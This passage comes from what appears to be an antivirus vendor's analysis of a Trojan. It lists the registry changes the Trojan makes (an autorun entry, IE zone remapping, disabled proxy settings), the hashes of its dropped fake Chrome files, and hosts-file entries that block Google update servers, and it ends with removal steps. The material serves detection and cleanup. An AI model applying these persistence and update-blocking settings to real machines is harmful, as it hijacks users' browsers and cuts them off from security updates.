"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4C 81 E4 8D E9 49 71 18 89 54 E5 E6 B7 A8 61 36"

[HKLM\SOFTWARE\Policies\Google\Update]
"UpdateDefault" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Google Charles" = "%Documents and Settings%\%current user%\Application Data\Charles.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
0c4950e06182df940d3e841551aa4378c:\Documents and Settings\"%CurrentUserName%"\Application Data\arsiv.exe
6044cc9167a451ca32589929d9ab63afc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\am.dll
0f056951ebed5fabecbf611640b8d45fc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ar.dll
9d415e1843eef10ee34013d53c9ceb44c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\bg.dll
10a1d2d0fbb8bff5d62ab92112f37a54c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\bn.dll
4b3c6816259d6c6a0af983a9ed93ce16c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ca.dll
c604153cb0fab69301db0f7f30f74760c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\cs.dll
d072eff41659891528d6a6f2a1f4812ac:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\da.dll
f221ea188f8d30889c913d82e263b650c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\de.dll
43502f260da31980820df3095c55affec:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\el.dll
d88792584ea6c3e6ca29b9b41f8c91c5c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\en-GB.dll
6e86f87dafae93715572515d6a1ecf10c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\en-US.dll
804786e0c1c0ba2bf0d083b41b7c54fdc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\es-419.dll
a78d8a519e902d6721b720fb58fbe6e8c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\es.dll
4159160dc24c2ee9a62ef469c58def92c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\et.dll
a5b42a9a795eeaaf121105c0ee65d2f3c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fa.dll
cf3e4ce598af12ce61845fb2df726bbfc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fi.dll
807c447523ce3b725885536e42cdae6dc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fil.dll
7422c04a3eb816b3d6c6509cfa8619cfc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\fr.dll
c812b05ff45cecd9bd03352a67786fecc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\gu.dll
7d1d073eaee9371ced3b91cfb5fea4e3c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\he.dll
07f7a71fd29b05d4fbeb2e5e0fcd7787c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\hi.dll
ce9d9574c5257a1b44254d6ec41e27aec:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\hr.dll
b706526605525c987544250dfd530d69c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\hu.dll
0ea483b13f28ea53e70e5b4e431dae8cc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\id.dll
62148930759b904b9ba522889fae973bc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\it.dll
49c0cbdd28f57ce31e7a0531195d3178c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ja.dll
bfa78421f52457843855e320473e9e53c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\kn.dll
bf0cfc30b19880cfa00cfafcf6011d03c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ko.dll
bbb3436a5797dc30d6ddb541db0a61b7c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\lt.dll
3043f1246714cd8d04bbc68b6a454d59c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\lv.dll
5405196f1450ae03b0f06b97d4361dcdc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ml.dll
7e683ca160dc2af79bd111dc81e2985cc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\mr.dll
e72ee2eb6b49b09e498ef0570bd917b9c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ms.dll
0b6e0b1f2f472d97befb305bd5ef2b43c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\nb.dll
d8a0769140dab6fdae60516158000e5ac:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\nl.dll
1deee8bc832803fc736ca96c2d9e2ceac:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\pl.dll
5eeb7905796ab13ad74f56e5ad16e2f2c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\pt-BR.dll
e052b1af4a987cd507d20be16062495cc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\pt-PT.dll
41dfee324f5ab48ca061194d3ca4de39c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ro.dll
7f679fa92ff97d7f1fced6c89a98d233c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ru.dll
2149ba923a655045b78e2a9be0b4f4b2c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sk.dll
8a3311f82d726423d7efa2fa00cb2acbc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sl.dll
22eb4f8a03c05c3575b61c955d7b19fdc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sr.dll
8c4817e470153861ccae6f32eb8f24e1c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sv.dll
38d0241cebb4ac26289e80f985d3ebefc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\sw.dll
e71c012e0a370ae90ba295f7205b95e6c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\ta.dll
632afa70f9720eb544854f2c553655c5c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\te.dll
0ca85c08971c7fca656b803e0fa6de0ec:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\th.dll
96ad4ffef7c5791fa1f3bb3371ac3ef8c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\tr.dll
e1d3ad461c48f57707529003209d00e5c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\uk.dll
e45fb970e7c2fcb1ca91cfd59d2d8daec:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\vi.dll
a3c8afd0b6974cea8502fec0027e591fc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\zh-CN.dll
feb7d00815cc26ee2b50386a08352e36c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\Locales\zh-TW.dll
a087867f590d53248897184ef3e5cfd4c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll
2c89a10a4ca6b9abbbe1ea3f61aed2aec:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\chrome.dll
1362a0d7fb57614067035b6dee177989c:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\icudt.dll
e6cb3fa160426172b0baa3d63c8f528ac:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\30.0.1573.2\libpeerconnection.dll
c1227e1d33fd329a42295177be88e30bc:\Documents and Settings\"%CurrentUserName%"\Application Data\browser\chrome.exe
6044cc9167a451ca32589929d9ab63afc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\am.dll
0f056951ebed5fabecbf611640b8d45fc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ar.dll
9d415e1843eef10ee34013d53c9ceb44c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\bg.dll
10a1d2d0fbb8bff5d62ab92112f37a54c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\bn.dll
4b3c6816259d6c6a0af983a9ed93ce16c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ca.dll
c604153cb0fab69301db0f7f30f74760c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\cs.dll
d072eff41659891528d6a6f2a1f4812ac:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\da.dll
f221ea188f8d30889c913d82e263b650c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\de.dll
43502f260da31980820df3095c55affec:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\el.dll
d88792584ea6c3e6ca29b9b41f8c91c5c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\en-GB.dll
6e86f87dafae93715572515d6a1ecf10c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\en-US.dll
804786e0c1c0ba2bf0d083b41b7c54fdc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\es-419.dll
a78d8a519e902d6721b720fb58fbe6e8c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\es.dll
4159160dc24c2ee9a62ef469c58def92c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\et.dll
a5b42a9a795eeaaf121105c0ee65d2f3c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fa.dll
cf3e4ce598af12ce61845fb2df726bbfc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fi.dll
807c447523ce3b725885536e42cdae6dc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fil.dll
7422c04a3eb816b3d6c6509cfa8619cfc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\fr.dll
c812b05ff45cecd9bd03352a67786fecc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\gu.dll
7d1d073eaee9371ced3b91cfb5fea4e3c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\he.dll
07f7a71fd29b05d4fbeb2e5e0fcd7787c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\hi.dll
ce9d9574c5257a1b44254d6ec41e27aec:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\hr.dll
b706526605525c987544250dfd530d69c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\hu.dll
0ea483b13f28ea53e70e5b4e431dae8cc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\id.dll
62148930759b904b9ba522889fae973bc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\it.dll
49c0cbdd28f57ce31e7a0531195d3178c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ja.dll
bfa78421f52457843855e320473e9e53c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\kn.dll
bf0cfc30b19880cfa00cfafcf6011d03c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ko.dll
bbb3436a5797dc30d6ddb541db0a61b7c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\lt.dll
3043f1246714cd8d04bbc68b6a454d59c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\lv.dll
5405196f1450ae03b0f06b97d4361dcdc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ml.dll
7e683ca160dc2af79bd111dc81e2985cc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\mr.dll
e72ee2eb6b49b09e498ef0570bd917b9c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ms.dll
0b6e0b1f2f472d97befb305bd5ef2b43c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\nb.dll
d8a0769140dab6fdae60516158000e5ac:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\nl.dll
1deee8bc832803fc736ca96c2d9e2ceac:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\pl.dll
5eeb7905796ab13ad74f56e5ad16e2f2c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\pt-BR.dll
e052b1af4a987cd507d20be16062495cc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\pt-PT.dll
41dfee324f5ab48ca061194d3ca4de39c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ro.dll
7f679fa92ff97d7f1fced6c89a98d233c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ru.dll
2149ba923a655045b78e2a9be0b4f4b2c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sk.dll
8a3311f82d726423d7efa2fa00cb2acbc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sl.dll
22eb4f8a03c05c3575b61c955d7b19fdc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sr.dll
8c4817e470153861ccae6f32eb8f24e1c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sv.dll
38d0241cebb4ac26289e80f985d3ebefc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\sw.dll
e71c012e0a370ae90ba295f7205b95e6c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\ta.dll
632afa70f9720eb544854f2c553655c5c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\te.dll
0ca85c08971c7fca656b803e0fa6de0ec:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\th.dll
96ad4ffef7c5791fa1f3bb3371ac3ef8c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\tr.dll
e1d3ad461c48f57707529003209d00e5c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\uk.dll
e45fb970e7c2fcb1ca91cfd59d2d8daec:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\vi.dll
a3c8afd0b6974cea8502fec0027e591fc:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\zh-CN.dll
feb7d00815cc26ee2b50386a08352e36c:\Program Files\Google\Chrome\Application\30.0.1573.2\Locales\zh-TW.dll
a087867f590d53248897184ef3e5cfd4c:\Program Files\Google\Chrome\Application\30.0.1573.2\PepperFlash\pepflashplayer.dll
2c89a10a4ca6b9abbbe1ea3f61aed2aec:\Program Files\Google\Chrome\Application\30.0.1573.2\chrome.dll
1362a0d7fb57614067035b6dee177989c:\Program Files\Google\Chrome\Application\30.0.1573.2\icudt.dll
e6cb3fa160426172b0baa3d63c8f528ac:\Program Files\Google\Chrome\Application\30.0.1573.2\libpeerconnection.dll
c1227e1d33fd329a42295177be88e30bc:\Program Files\Google\Chrome\Application\chrome.exe

HOSTS file anomalies

The Trojan modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 394 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1tools.google.com
127.0.0.1clients1.google.com
127.0.0.1clients2.google.com
127.0.0.1clients3.google.com
127.0.0.1clients4.google.com
127.0.0.1clients5.google.com
127.0.0.1clients6.google.com
127.0.0.1clients7.google.com
127.0.0.1clients8.google.com
127.0.0.1clients9.google.com


Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:1756
    schtasks.exe:136
    schtasks.exe:816
    wget.exe:1952
    arsiv.exe:1948
    Charles.exe:1772

  2. Delete the original Trojan file.
  3. Delete or disinfect the following files created/modified by the Trojan:

    %Documents and Settings%\%current user%\Application Data\Charles.exe (5663 bytes)
    %Documents and Settings%\%current user%\Application Data\arsiv.exe (4348221 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.pak (250 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bn.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lv.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.pak (250 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hu.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nl.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\manifest.json (2 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\libpeerconnection.dll (56491 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\da.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sl.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ru.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\PepperFlash\pepflashplayer.dll (277843 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ro.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.pak (4074 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\gu.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sw.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\chrome.exe (30992 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\icudt.dll (455362 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\tr.pak (250 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\id.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\am.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.pak (250 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fr.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es-419.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\it.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\cs.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fa.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.pak (5049 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ca.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sr.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\te.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\bg.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ja.pak (1274 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sv.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\lt.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome_100_percent.pak (6625 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-GB.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\kn.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\uk.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\en-US.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ta.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\vi.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ar.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-CN.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\mr.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\et.pak (2249 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ms.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\nb.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\he.dll (9 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\de.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\sk.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\th.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ko.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\zh-TW.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-BR.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\chrome.dll (794832 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pt-PT.dll (10 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fil.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\resources.pak (40311 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hr.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\pl.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\es.pak (762 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\ml.pak (4074 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\hi.pak (2282 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\el.pak (3461 bytes)
    %Documents and Settings%\%current user%\Application Data\browser\30.0.1573.2\Locales\fi.pak (762 bytes)
